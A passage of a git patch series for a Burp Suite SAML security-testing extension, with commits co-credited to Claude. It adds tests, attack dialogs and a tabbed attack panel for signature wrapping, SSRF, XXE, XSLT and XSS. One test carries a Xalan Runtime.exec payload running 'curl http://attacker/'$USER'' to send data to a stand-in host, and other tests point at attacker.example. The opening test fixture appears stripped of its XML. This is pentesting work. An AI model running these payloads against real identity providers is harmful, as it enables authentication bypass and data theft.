+package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class SignatureRefSSRFTest { + + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + private static final String XPATH_ALGO = "http://www.w3.org/TR/1999/REC-xpath-19991116"; + private static final String BASE64_ALGO = "http://www.w3.org/2000/09/xmldsig#base64"; + + private static final String SAML = """ + + + + + + + + + + ABC= + + + SIG + + + + """; + + private static Document parse(String xml) throws Exception { + return new XMLHelpers().getXMLDocumentOfSAMLMessage(xml); + } + + @Test + void referenceUriRewritesFirstReferenceURIAttribute() throws Exception { + String out = SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.REFERENCE_URI, + "https://attacker.example/ref"); + Document doc = parse(out); + Element ref = (Element) doc.getElementsByTagNameNS(DS_NS, "Reference").item(0); + assertEquals("https://attacker.example/ref", ref.getAttribute("URI")); + } + + @Test + void xpathDocumentPrependsTransformWithDocumentCall() throws Exception { + String url = "https://attacker.example/xp"; + String out = SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.XPATH_DOCUMENT, url); + Document doc = parse(out); + + Element transforms = (Element) doc.getElementsByTagNameNS(DS_NS, "Transforms").item(0); + NodeList tfs = transforms.getElementsByTagNameNS(DS_NS, "Transform"); + // Must be prepended + Element first = (Element) tfs.item(0); + assertEquals(XPATH_ALGO, first.getAttribute("Algorithm")); + NodeList xpaths = first.getElementsByTagNameNS(DS_NS, "XPath"); + assertEquals(1, xpaths.getLength()); + assertEquals("document('" + url + "')", xpaths.item(0).getTextContent()); + } + + @Test + void base64XxePrependsBase64TransformWithEncodedXxe() throws Exception { + String url = "https://collab.example/x"; + String out = SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.BASE64_XXE, url); + Document doc = parse(out); + + Element transforms = (Element) doc.getElementsByTagNameNS(DS_NS, "Transforms").item(0); + Element first = (Element) transforms.getElementsByTagNameNS(DS_NS, "Transform").item(0); + assertEquals(BASE64_ALGO, first.getAttribute("Algorithm")); + + String decoded = new String(Base64.getDecoder().decode(first.getTextContent().trim()), + StandardCharsets.UTF_8); + assertTrue(decoded.contains(" + + """; + assertThrows(IllegalArgumentException.class, () -> + SignatureRefSSRF.apply(noSig, SignatureRefSSRF.Mode.REFERENCE_URI, "https://a/")); + } + + @Test + void throwsOnEmptyUrl() { + assertThrows(IllegalArgumentException.class, () -> + SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.XPATH_DOCUMENT, "")); + } +} diff --git a/src/test/java/helpers/XSLTPayloadsTest.java b/src/test/java/helpers/XSLTPayloadsTest.java new file mode 100644 index 0000000..747504a --- /dev/null +++ b/src/test/java/helpers/XSLTPayloadsTest.java @@ -0,0 +1,38 @@ +package helpers; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class XSLTPayloadsTest { + + @Test + void saxonUnparsedTextContainsCallerUrl() { + String out = XSLTPayloads.stylesheetFor(XSLTPayloads.Flavor.SAXON_UNPARSED_TEXT, + "https://c.example/x"); + assertTrue(out.contains("unparsed-text")); + assertTrue(out.contains("https://c.example/x")); + assertTrue(out.contains("encode-for-uri")); + } + + @Test + void xalanRuntimeExecContainsRuntimeAndEscapedCommand() { + String out = XSLTPayloads.stylesheetFor(XSLTPayloads.Flavor.XALAN_RUNTIME_EXEC, + "curl http://attacker/'$USER'"); + assertTrue(out.contains("java.lang.Runtime"), "should reference xalan java.lang.Runtime"); + assertTrue(out.contains("rt:getRuntime()")); + assertTrue(out.contains("rt:exec")); + // Single quotes must have been escaped so the embedded command is well-formed XML. + assertFalse(out.contains("'$USER'"), "raw single quotes should be XML-escaped"); + assertTrue(out.contains("'$USER'")); + } + + @Test + void xalanClassInstantiationContainsContentHandlerAndEntitiesUrl() { + String out = XSLTPayloads.stylesheetFor(XSLTPayloads.Flavor.XALAN_CLASS_INSTANTIATION, + "https://c.example/x.bin"); + assertTrue(out.contains("xalan:content-handler=\"com.sun.beans.decoder.DocumentHandler\"")); + assertTrue(out.contains("xalan:entities=\"https://c.example/x.bin\"")); + } +} From c7e0cbca34823a028b64cd9d1d53f01834aeb789 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:54:44 -0400 Subject: [PATCH 21/27] Add attack configuration dialogs for XSLT, XSS, and metadata import XSLTPayloadDialog lets the tester pick a payload flavor (Saxon SSRF, Xalan exec, Xalan class instantiation) and target URL or command, with optional Burp Collaborator URL generation on Pro. XSSPayloadDialog picks the target field and custom payload. MetadataImportDialog fetches metadata from a URL or accepts a paste, used to populate certs for cloning and dupe-key attacks. Co-Authored-By: Claude Sonnet 4.6 --- src/main/java/gui/MetadataImportDialog.java | 75 ++++++++++++++ src/main/java/gui/XSLTPayloadDialog.java | 107 ++++++++++++++++++++ src/main/java/gui/XSSPayloadDialog.java | 56 ++++++++++ 3 files changed, 238 insertions(+) create mode 100644 src/main/java/gui/MetadataImportDialog.java create mode 100644 src/main/java/gui/XSLTPayloadDialog.java create mode 100644 src/main/java/gui/XSSPayloadDialog.java diff --git a/src/main/java/gui/MetadataImportDialog.java b/src/main/java/gui/MetadataImportDialog.java new file mode 100644 index 0000000..7a0178e --- /dev/null +++ b/src/main/java/gui/MetadataImportDialog.java @@ -0,0 +1,75 @@ +package gui; + +import burp.BurpExtender; +import helpers.MetadataImport; + +import java.awt.BorderLayout; +import java.awt.Component; +import java.awt.Dimension; +import java.awt.FlowLayout; +import java.util.Optional; +import javax.swing.BorderFactory; +import javax.swing.JButton; +import javax.swing.JLabel; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JScrollPane; +import javax.swing.JTextArea; +import javax.swing.JTextField; +import javax.swing.SwingUtilities; + +/// Dialog that accepts either a URL to fetch metadata XML from, or a pasted +/// XML blob. Returns the raw metadata XML to the caller; extraction happens +/// downstream in SamlTabController.importMetadata. +public class MetadataImportDialog { + + private MetadataImportDialog() {} + + public static Optional prompt(Component parent) { + var urlField = new JTextField(40); + var fetchButton = new JButton("Fetch"); + var xmlArea = new JTextArea(18, 70); + xmlArea.setLineWrap(false); + var xmlScroll = new JScrollPane(xmlArea); + xmlScroll.setPreferredSize(new Dimension(700, 360)); + + fetchButton.addActionListener(e -> { + String url = urlField.getText().trim(); + if (url.isEmpty()) { + JOptionPane.showMessageDialog(parent, "Enter a metadata URL first.", + "Metadata Import", JOptionPane.WARNING_MESSAGE); + return; + } + try { + String body = MetadataImport.fetch(url); + xmlArea.setText(body); + xmlArea.setCaretPosition(0); + } catch (Exception ex) { + BurpExtender.api.logging().logToError(ex); + JOptionPane.showMessageDialog( + SwingUtilities.getWindowAncestor((Component) e.getSource()), + "Fetch failed: " + ex.getMessage(), + "Metadata Import", JOptionPane.ERROR_MESSAGE); + } + }); + + var urlRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); + urlRow.add(new JLabel("URL:")); + urlRow.add(urlField); + urlRow.add(fetchButton); + + var panel = new JPanel(new BorderLayout(0, 8)); + panel.setBorder(BorderFactory.createEmptyBorder(4, 0, 4, 0)); + panel.add(urlRow, BorderLayout.NORTH); + panel.add(new JLabel("Metadata XML (paste or fetch):"), BorderLayout.CENTER); + panel.add(xmlScroll, BorderLayout.SOUTH); + + int result = JOptionPane.showConfirmDialog( + parent, panel, "Metadata Import", JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); + if (result != JOptionPane.OK_OPTION) return Optional.empty(); + + String xml = xmlArea.getText().trim(); + if (xml.isEmpty()) return Optional.empty(); + return Optional.of(xml); + } +} diff --git a/src/main/java/gui/XSLTPayloadDialog.java b/src/main/java/gui/XSLTPayloadDialog.java new file mode 100644 index 0000000..f7bf4e4 --- /dev/null +++ b/src/main/java/gui/XSLTPayloadDialog.java @@ -0,0 +1,107 @@ +package gui; + +import burp.BurpExtender; +import burp.api.montoya.core.BurpSuiteEdition; +import helpers.XSLTPayloads; + +import java.awt.BorderLayout; +import java.awt.Component; +import java.awt.FlowLayout; +import java.util.Optional; +import javax.swing.BorderFactory; +import javax.swing.JCheckBox; +import javax.swing.JComboBox; +import javax.swing.JLabel; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JTextField; + +/// Dialog that asks for an XSLT attack flavor and the flavor-specific parameter. +/// For URL-based flavors (SAXON_UNPARSED_TEXT, XALAN_CLASS_INSTANTIATION) the user +/// can opt into Burp Collaborator (Pro only). For XALAN_RUNTIME_EXEC the parameter +/// is a shell command — no Collaborator shortcut makes sense. +public class XSLTPayloadDialog { + + private XSLTPayloadDialog() {} + + public record Selection(XSLTPayloads.Flavor flavor, String param) {} + + public static Optional prompt(Component parent) { + boolean isPro = BurpExtender.api.burpSuite().version().edition() == BurpSuiteEdition.PROFESSIONAL; + + var flavorCombo = new JComboBox<>(XSLTPayloads.Flavor.values()); + var paramLabel = new JLabel("URL:"); + var paramField = new JTextField("curl http://attacker/", 35); + paramField.setText(""); // default empty for URL flavors + var useCollab = new JCheckBox("Use Burp Collaborator", false); + useCollab.setEnabled(isPro); + if (!isPro) { + useCollab.setToolTipText("Burp Collaborator is only available in Burp Suite Professional"); + } + + // Toggle label + Collaborator availability when flavor changes. + Runnable refresh = () -> { + XSLTPayloads.Flavor f = (XSLTPayloads.Flavor) flavorCombo.getSelectedItem(); + boolean isRuntime = f == XSLTPayloads.Flavor.XALAN_RUNTIME_EXEC; + paramLabel.setText(isRuntime ? "Shell command:" : "URL:"); + useCollab.setEnabled(isPro && !isRuntime); + if (isRuntime) { + useCollab.setSelected(false); + } + paramField.setEnabled(!useCollab.isSelected()); + }; + flavorCombo.addActionListener(e -> refresh.run()); + useCollab.addActionListener(e -> paramField.setEnabled(!useCollab.isSelected())); + refresh.run(); + + var flavorRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); + flavorRow.add(new JLabel("Flavor:")); + flavorRow.add(flavorCombo); + + var paramRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); + paramRow.add(paramLabel); + paramRow.add(paramField); + + var collabRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 0, 0)); + collabRow.add(useCollab); + + var panel = new JPanel(new BorderLayout(0, 8)); + panel.setBorder(BorderFactory.createEmptyBorder(4, 0, 4, 0)); + panel.add(flavorRow, BorderLayout.NORTH); + panel.add(paramRow, BorderLayout.CENTER); + panel.add(collabRow, BorderLayout.SOUTH); + + int result = JOptionPane.showConfirmDialog( + parent, panel, "XSLT Attack", JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); + if (result != JOptionPane.OK_OPTION) { + return Optional.empty(); + } + + XSLTPayloads.Flavor flavor = (XSLTPayloads.Flavor) flavorCombo.getSelectedItem(); + String param; + if (useCollab.isSelected()) { + try { + String payload = BurpExtender.api.collaborator() + .defaultPayloadGenerator() + .generatePayload() + .toString(); + param = "https://" + payload; + } catch (Exception ex) { + BurpExtender.api.logging().logToError(ex); + JOptionPane.showMessageDialog(parent, + "Failed to generate Burp Collaborator payload.\n" + ex.getMessage(), + "Collaborator Error", JOptionPane.ERROR_MESSAGE); + return Optional.empty(); + } + } else { + param = paramField.getText().trim(); + if (param.isEmpty()) { + JOptionPane.showMessageDialog(parent, + "Please enter a " + paramLabel.getText().toLowerCase().replace(":", "") + ".", + "XSLT Attack", JOptionPane.WARNING_MESSAGE); + return Optional.empty(); + } + } + return Optional.of(new Selection(flavor, param)); + } +} diff --git a/src/main/java/gui/XSSPayloadDialog.java b/src/main/java/gui/XSSPayloadDialog.java new file mode 100644 index 0000000..972c469 --- /dev/null +++ b/src/main/java/gui/XSSPayloadDialog.java @@ -0,0 +1,56 @@ +package gui; + +import helpers.ResponseXSS; + +import java.awt.BorderLayout; +import java.awt.Component; +import java.awt.FlowLayout; +import java.util.Optional; +import javax.swing.BorderFactory; +import javax.swing.JComboBox; +import javax.swing.JLabel; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JTextField; + +/** + * Dialog that lets the user choose an XSS injection target and payload for + * {@link ResponseXSS}. + */ +public class XSSPayloadDialog { + + private XSSPayloadDialog() {} + + public record Selection(ResponseXSS.Target target, String payload) {} + + public static Optional prompt(Component parent) { + var targetCombo = new JComboBox<>(ResponseXSS.Target.values()); + var payloadField = new JTextField(ResponseXSS.DEFAULT_PAYLOAD, 30); + + var targetRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); + targetRow.add(new JLabel("Target:")); + targetRow.add(targetCombo); + + var payloadRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); + payloadRow.add(new JLabel("Payload:")); + payloadRow.add(payloadField); + + var panel = new JPanel(new BorderLayout(0, 8)); + panel.setBorder(BorderFactory.createEmptyBorder(4, 0, 4, 0)); + panel.add(targetRow, BorderLayout.NORTH); + panel.add(payloadRow, BorderLayout.CENTER); + + int result = JOptionPane.showConfirmDialog( + parent, panel, "XSS Injection", JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); + + if (result != JOptionPane.OK_OPTION) { + return Optional.empty(); + } + + var target = (ResponseXSS.Target) targetCombo.getSelectedItem(); + // Empty payload is allowed — clears the field, which is sometimes useful + // for probing whether an error reflects the attribute at all. + var payload = payloadField.getText(); + return Optional.of(new Selection(target, payload)); + } +} From 6869b8dc04656e6396a2a801c9287dbdb94fed19 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:54:54 -0400 Subject: [PATCH 22/27] Overhaul attacks UI: tabbed layout and expanded message info panel SamlPanelAction replaces the flat wall-of-buttons layout with a JTabbedPane grouping attacks into seven focused tabs (Signatures, Injection, SSRF/RCE, Assertion, CVE, XSW, Request), with Message controls pinned at the top and the Signing row pinned at the bottom. SamlPanelInfo adds a Response Information section (Status, Destination, IssueInstant, InResponseTo) and expands Encryption Information with Key Transport algorithm and Key Identifier, so encrypted-assertion responses surface useful context without needing to decrypt. SamlXmlEditor adds syntax highlighting, live search, and soft-wrap. Co-Authored-By: Claude Sonnet 4.6 --- src/main/java/gui/SamlPanelAction.java | 295 +++++++++++++++++++------ src/main/java/gui/SamlPanelInfo.java | 54 +++++ src/main/java/gui/SamlXmlEditor.java | 6 + 3 files changed, 293 insertions(+), 62 deletions(-) diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index e47c6bb..bdbc686 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -1,10 +1,16 @@ package gui; import application.SamlTabController; +import helpers.CommentInjection; import helpers.CVE_2022_41912; +import helpers.CVE_2024_45409; import helpers.CVE_2025_23369; import helpers.CVE_2025_25291; import helpers.CVE_2025_25292; +import helpers.EncryptionSSRF; +import helpers.IssuerConfusion; +import helpers.PIInjection; +import helpers.SignatureRefSSRF; import java.awt.BorderLayout; import java.awt.Component; import java.awt.Font; @@ -15,18 +21,17 @@ import java.io.Serial; import java.util.HashMap; import java.util.List; -import java.util.Optional; -import javax.swing.BorderFactory; import javax.swing.DefaultComboBoxModel; import javax.swing.JButton; import javax.swing.JComboBox; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JPanel; -import javax.swing.JScrollPane; + +import javax.swing.JTabbedPane; import javax.swing.JTextField; import javax.swing.SwingUtilities; -import javax.swing.border.EmptyBorder; + import model.BurpCertificate; import net.miginfocom.swing.MigLayout; @@ -48,18 +53,44 @@ public class SamlPanelAction extends JPanel { private final JButton btnTestXXE = new JButton("Test XXE"); private final JButton btnTestXSLT = new JButton("Test XSLT"); + private final JButton btnKeyInfoSSRF = new JButton("KeyInfo SSRF"); + private final JComboBox cmbboxSigRefMode = + new JComboBox<>(SignatureRefSSRF.Mode.values()); + private final JButton btnSigRefSSRF = new JButton("SigRef SSRF"); private final JComboBox cmbboxCVE = new JComboBox<>(); private final JButton btnCVEApply = new JButton("Apply CVE"); private final JButton btnCVEHelp = new JButton("?"); + private final JComboBox cmbboxCommentPos = new JComboBox<>(CommentInjection.Position.values()); + private final JButton btnCommentInject = new JButton("Inject Comment"); + private final JComboBox cmbboxPIPos = new JComboBox<>(PIInjection.Position.values()); + private final JButton btnPIInject = new JButton("Inject PI"); + private final JButton btnHMACConfusion = new JButton("HMAC Confusion"); + private final JButton btnResponseXSS = new JButton("Inject XSS"); + private final JComboBox cmbboxIssuerMode = new JComboBox<>(IssuerConfusion.Mode.values()); + private final JButton btnIssuerConfuse = new JButton("Confuse Issuer"); + + private final JButton btnExtendValidity = new JButton("Extend Validity +24h"); + private final JButton btnStatusSuccess = new JButton("Status → Success"); + private final JButton btnRemoveAudience = new JButton("Remove Audience"); + private final JButton btnDigestTamper = new JButton("Corrupt Digest"); + + private final JComboBox cmbboxEncMode = new JComboBox<>(EncryptionSSRF.Mode.values()); + private final JButton btnEncSSRF = new JButton("Enc SSRF"); + private final JButton btnSignatureHelp = new JButton("?"); private final JComboBox cmbboxCertificate = new JComboBox<>(); private final JButton btnSignatureRemove = new JButton("Remove Signatures"); private final JButton btnResignAssertion = new JButton("(Re-)Sign Assertion"); private final JButton btnSendCertificate = new JButton("Store Certificate"); private final JButton btnResignMessage = new JButton("(Re-)Sign Message"); + private final JButton btnDupeKey = new JButton("Dupe Key Confusion"); + private final JButton btnACSSpoof = new JButton("Spoof ACS URL"); + private final JButton btnMetadataImport = new JButton("Import Metadata"); + + private final JLabel lblSigStatus = new JLabel(); public SamlPanelAction() { initialize(); @@ -71,13 +102,10 @@ public SamlPanelAction(SamlTabController controller) { } private void initialize() { - btnMessageReset.addActionListener(event -> { - controller.resetMessage(); - }); - + // --- Wire listeners --- + btnMessageReset.addActionListener(event -> controller.resetMessage()); btnFormatXml.addActionListener(event -> controller.formatXml()); - // --- Wire listeners --- btnXSWHelp.addActionListener(event -> controller.showXSWHelp()); btnXSWPreview.addActionListener(event -> controller.showXSWPreview()); btnMatchAndReplace.addActionListener(event -> showMatchAndReplaceDialog()); @@ -87,66 +115,163 @@ private void initialize() { OobDomainDialog.prompt(this, "XXE — OOB Domain") .ifPresent(controller::applyXXE)); btnTestXSLT.addActionListener(event -> - OobDomainDialog.prompt(this, "XSLT — OOB Domain") - .ifPresent(controller::applyXSLT)); + XSLTPayloadDialog.prompt(this) + .ifPresent(sel -> controller.applyXSLT(sel.flavor(), sel.param()))); + btnKeyInfoSSRF.addActionListener(event -> + OobDomainDialog.prompt(this, "KeyInfo SSRF — Retrieval URL") + .ifPresent(controller::applyKeyInfoSSRF)); + btnSigRefSSRF.addActionListener(event -> + OobDomainDialog.prompt(this, "SigRef SSRF — URL") + .ifPresent(url -> controller.applySignatureRefSSRF( + (SignatureRefSSRF.Mode) cmbboxSigRefMode.getSelectedItem(), url))); + btnEncSSRF.addActionListener(event -> + OobDomainDialog.prompt(this, "Encryption SSRF — Fetch URL") + .ifPresent(url -> controller.applyEncryptionSSRF( + (EncryptionSSRF.Mode) cmbboxEncMode.getSelectedItem(), url))); cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{ - CVE_2022_41912.CVE, CVE_2025_23369.CVE, + CVE_2022_41912.CVE, CVE_2024_45409.CVE, CVE_2025_23369.CVE, CVE_2025_25291.CVE, CVE_2025_25292.CVE })); btnCVEApply.addActionListener(event -> controller.applyCVE()); btnCVEHelp.addActionListener(event -> controller.showCVEHelp()); + btnCommentInject.addActionListener(event -> + controller.applyCommentInjection( + (CommentInjection.Position) cmbboxCommentPos.getSelectedItem())); + btnPIInject.addActionListener(event -> + controller.applyPIInjection( + (PIInjection.Position) cmbboxPIPos.getSelectedItem())); + btnHMACConfusion.addActionListener(event -> controller.applyHMACConfusion()); + btnResponseXSS.addActionListener(event -> + XSSPayloadDialog.prompt(this) + .ifPresent(sel -> controller.applyResponseXSS(sel.target(), sel.payload()))); + btnIssuerConfuse.addActionListener(event -> + controller.applyIssuerConfusion( + (IssuerConfusion.Mode) cmbboxIssuerMode.getSelectedItem())); + + btnExtendValidity.addActionListener(event -> controller.applyExtendValidity(24)); + btnStatusSuccess.addActionListener(event -> controller.applyStatusSuccess()); + btnRemoveAudience.addActionListener(event -> controller.applyRemoveAudience()); + btnDigestTamper.addActionListener(event -> controller.applyDigestTamper()); + + btnACSSpoof.addActionListener(event -> + OobDomainDialog.prompt(this, "ACS Spoof — Attacker URL") + .ifPresent(controller::applyACSSpoof)); + btnMetadataImport.addActionListener(event -> + MetadataImportDialog.prompt(this).ifPresent(controller::importMetadata)); + btnSignatureHelp.addActionListener(event -> controller.showSignatureHelp()); btnSignatureRemove.addActionListener(event -> controller.removeSignature()); btnResignAssertion.addActionListener(event -> controller.resignAssertion()); btnSendCertificate.addActionListener(event -> controller.sendToCertificatesTab()); btnResignMessage.addActionListener(event -> controller.resignMessage()); - - // --- Compact layout: labeled sections with separators --- - var panel = new JPanel(new MigLayout("insets 6 8 6 8, gap 4 6, fillx", "[grow]", "")); - - // Row 1: Message - panel.add(sectionLabel("Message"), "split"); - panel.add(btnMessageReset); - panel.add(btnFormatXml, "wrap"); - - panel.add(separator(), "growx, wrap"); - - // Row 2: XSW - panel.add(sectionLabel("XSW"), "split"); - panel.add(cmbboxXSW); - panel.add(btnXSWApply); - panel.add(btnMatchAndReplace); - panel.add(btnXSWPreview); - panel.add(btnXSWHelp, "wrap"); - - // Row 3: CVE - panel.add(sectionLabel("CVE"), "split"); - panel.add(cmbboxCVE); - panel.add(btnCVEApply); - panel.add(btnCVEHelp, "wrap"); - - // Row 4: XML - panel.add(sectionLabel("XML"), "split"); - panel.add(btnTestXXE); - panel.add(btnTestXSLT, "wrap"); - - panel.add(separator(), "growx, wrap"); - - // Row 5: Signing - panel.add(sectionLabel("Signing"), "split"); - panel.add(cmbboxCertificate); - panel.add(btnResignAssertion); - panel.add(btnResignMessage); - panel.add(btnSignatureRemove); - panel.add(btnSignatureHelp, "wrap"); - - // Row 6: Store Certificate (under Signing) - panel.add(new JLabel(""), "split"); // indent to align - panel.add(btnSendCertificate, "wrap"); + btnDupeKey.addActionListener(event -> controller.applyDupeKeyConfusion()); + + // --- Layout --- + + // Top bar: message utilities, always visible + var topBar = new JPanel(new MigLayout("insets 4 8 4 8, gap 6")); + topBar.add(btnMessageReset); + topBar.add(btnFormatXml); + + // Attack tabs + var tabs = new JTabbedPane(JTabbedPane.TOP); + tabs.addTab("Signatures", buildSignaturesTab()); + tabs.addTab("Injection", buildInjectionTab()); + tabs.addTab("SSRF / RCE", buildSSRFTab()); + tabs.addTab("Assertion", buildAssertionTab()); + tabs.addTab("CVE", buildCVETab()); + tabs.addTab("XSW", buildXSWTab()); + tabs.addTab("Request", buildRequestTab()); + + // Bottom bar: signing, always visible + var bottomBar = new JPanel(new MigLayout("insets 6 8 6 8, gap 6, fillx")); + bottomBar.add(sectionLabel("Signing"), ""); + bottomBar.add(cmbboxCertificate); + bottomBar.add(btnResignAssertion); + bottomBar.add(btnResignMessage); + bottomBar.add(btnSignatureRemove); + bottomBar.add(btnSignatureHelp, "wrap"); + bottomBar.add(new JLabel(""), ""); + bottomBar.add(btnSendCertificate, "wrap"); + lblSigStatus.setVisible(false); + bottomBar.add(lblSigStatus, "span, wrap"); setLayout(new BorderLayout()); - add(panel, BorderLayout.NORTH); + add(topBar, BorderLayout.NORTH); + add(tabs, BorderLayout.CENTER); + add(bottomBar, BorderLayout.SOUTH); + } + + // --- Tab builders --- + + private JPanel buildSignaturesTab() { + var p = tabPanel(); + p.add(btnHMACConfusion, ""); + p.add(btnDupeKey, ""); + p.add(btnDigestTamper, "wrap"); + return p; + } + + private JPanel buildInjectionTab() { + var p = tabPanel(); + p.add(cmbboxCommentPos, ""); + p.add(btnCommentInject, "wrap"); + p.add(cmbboxPIPos, ""); + p.add(btnPIInject, "wrap"); + p.add(btnResponseXSS, "wrap"); + p.add(cmbboxIssuerMode, ""); + p.add(btnIssuerConfuse, "wrap"); + return p; + } + + private JPanel buildSSRFTab() { + var p = tabPanel(); + p.add(btnTestXXE, ""); + p.add(btnTestXSLT, "wrap"); + p.add(btnKeyInfoSSRF, "wrap"); + p.add(cmbboxSigRefMode, ""); + p.add(btnSigRefSSRF, "wrap"); + p.add(cmbboxEncMode, ""); + p.add(btnEncSSRF, "wrap"); + return p; + } + + private JPanel buildAssertionTab() { + var p = tabPanel(); + p.add(btnExtendValidity, ""); + p.add(btnStatusSuccess, "wrap"); + p.add(btnRemoveAudience, "wrap"); + return p; + } + + private JPanel buildCVETab() { + var p = tabPanel(); + p.add(cmbboxCVE, ""); + p.add(btnCVEApply, ""); + p.add(btnCVEHelp, "wrap"); + return p; + } + + private JPanel buildXSWTab() { + var p = tabPanel(); + p.add(cmbboxXSW, ""); + p.add(btnXSWApply, ""); + p.add(btnMatchAndReplace, ""); + p.add(btnXSWPreview, ""); + p.add(btnXSWHelp, "wrap"); + return p; + } + + private JPanel buildRequestTab() { + var p = tabPanel(); + p.add(btnACSSpoof, "wrap"); + p.add(btnMetadataImport, "wrap"); + return p; + } + + private static JPanel tabPanel() { + return new JPanel(new MigLayout("insets 10, gap 6 8, fillx")); } private static JLabel sectionLabel(String text) { @@ -155,13 +280,10 @@ private static JLabel sectionLabel(String text) { return label; } - private static javax.swing.JSeparator separator() { - return new javax.swing.JSeparator(javax.swing.SwingConstants.HORIZONTAL); - } + // --- Public API --- public void setCertificateList(List list) { DefaultComboBoxModel model = new DefaultComboBoxModel(); - for (BurpCertificate cert : list) { model.addElement(cert); } @@ -185,6 +307,15 @@ public String getSelectedCVE() { return (String) cmbboxCVE.getSelectedItem(); } + public void setSignatureStatus(boolean stale) { + if (stale) { + lblSigStatus.setText("⚠ Stale signature — forward as-is to test SP signature validation, or re-sign above"); + lblSigStatus.setVisible(true); + } else { + lblSigStatus.setVisible(false); + } + } + public void disableControls() { cmbboxCertificate.setEnabled(false); cmbboxXSW.setEnabled(false); @@ -201,8 +332,28 @@ public void disableControls() { btnFormatXml.setEnabled(false); btnTestXXE.setEnabled(false); btnTestXSLT.setEnabled(false); + btnKeyInfoSSRF.setEnabled(false); cmbboxCVE.setEnabled(false); btnCVEApply.setEnabled(false); + cmbboxCommentPos.setEnabled(false); + btnCommentInject.setEnabled(false); + btnHMACConfusion.setEnabled(false); + btnResponseXSS.setEnabled(false); + btnExtendValidity.setEnabled(false); + btnStatusSuccess.setEnabled(false); + btnRemoveAudience.setEnabled(false); + btnDigestTamper.setEnabled(false); + cmbboxEncMode.setEnabled(false); + btnEncSSRF.setEnabled(false); + cmbboxSigRefMode.setEnabled(false); + btnSigRefSSRF.setEnabled(false); + cmbboxPIPos.setEnabled(false); + btnPIInject.setEnabled(false); + cmbboxIssuerMode.setEnabled(false); + btnIssuerConfuse.setEnabled(false); + btnDupeKey.setEnabled(false); + btnACSSpoof.setEnabled(false); + btnMetadataImport.setEnabled(false); this.revalidate(); } @@ -222,8 +373,28 @@ public void enableControls() { btnFormatXml.setEnabled(true); btnTestXXE.setEnabled(true); btnTestXSLT.setEnabled(true); + btnKeyInfoSSRF.setEnabled(true); cmbboxCVE.setEnabled(true); btnCVEApply.setEnabled(true); + cmbboxCommentPos.setEnabled(true); + btnCommentInject.setEnabled(true); + btnHMACConfusion.setEnabled(true); + btnResponseXSS.setEnabled(true); + btnExtendValidity.setEnabled(true); + btnStatusSuccess.setEnabled(true); + btnRemoveAudience.setEnabled(true); + btnDigestTamper.setEnabled(true); + cmbboxEncMode.setEnabled(true); + btnEncSSRF.setEnabled(true); + cmbboxSigRefMode.setEnabled(true); + btnSigRefSSRF.setEnabled(true); + cmbboxPIPos.setEnabled(true); + btnPIInject.setEnabled(true); + cmbboxIssuerMode.setEnabled(true); + btnIssuerConfuse.setEnabled(true); + btnDupeKey.setEnabled(true); + btnACSSpoof.setEnabled(true); + btnMetadataImport.setEnabled(true); this.revalidate(); } @@ -238,7 +409,7 @@ private void showMatchAndReplaceDialog() { JTextField matchInputText = new JTextField(); JTextField replaceInputText = new JTextField(); - JButton addEntryButton = new JButton("\u2795"); + JButton addEntryButton = new JButton("➕"); addEntryButton.addActionListener(new ActionListener() { @Override @@ -281,7 +452,7 @@ private void updateMatchAndReplaceList(JPanel listPanel, JTextField matchInputTe c.gridx = 1; listPanel.add(new JLabel(matchAndReplaceMap.get(matchRule)), c); - JButton deleteEntryBtn = new JButton("\u2796"); + JButton deleteEntryBtn = new JButton("➖"); deleteEntryBtn.addActionListener(new ActionListener() { @Override diff --git a/src/main/java/gui/SamlPanelInfo.java b/src/main/java/gui/SamlPanelInfo.java index e98bdbe..c80c672 100644 --- a/src/main/java/gui/SamlPanelInfo.java +++ b/src/main/java/gui/SamlPanelInfo.java @@ -24,6 +24,13 @@ public class SamlPanelInfo extends JPanel { private final JLabel subjectConfNotAfter = new JLabel(""); private final JLabel encryptedWith = new JLabel(""); + private final JLabel keyTransport = new JLabel(""); + private final JLabel keyIdentifier = new JLabel(""); + + private final JLabel responseDestination = new JLabel(""); + private final JLabel responseIssueInstant = new JLabel(""); + private final JLabel responseInResponseTo = new JLabel(""); + private final JLabel responseStatus = new JLabel(""); public SamlPanelInfo() { super(); @@ -68,6 +75,22 @@ private void initialize() { encryptionInformationPanel.setLayout(new MigLayout()); encryptionInformationPanel.add(new JLabel("Encrypted with:"), labelConstraints); encryptionInformationPanel.add(encryptedWith, valueConstraints); + encryptionInformationPanel.add(new JLabel("Key 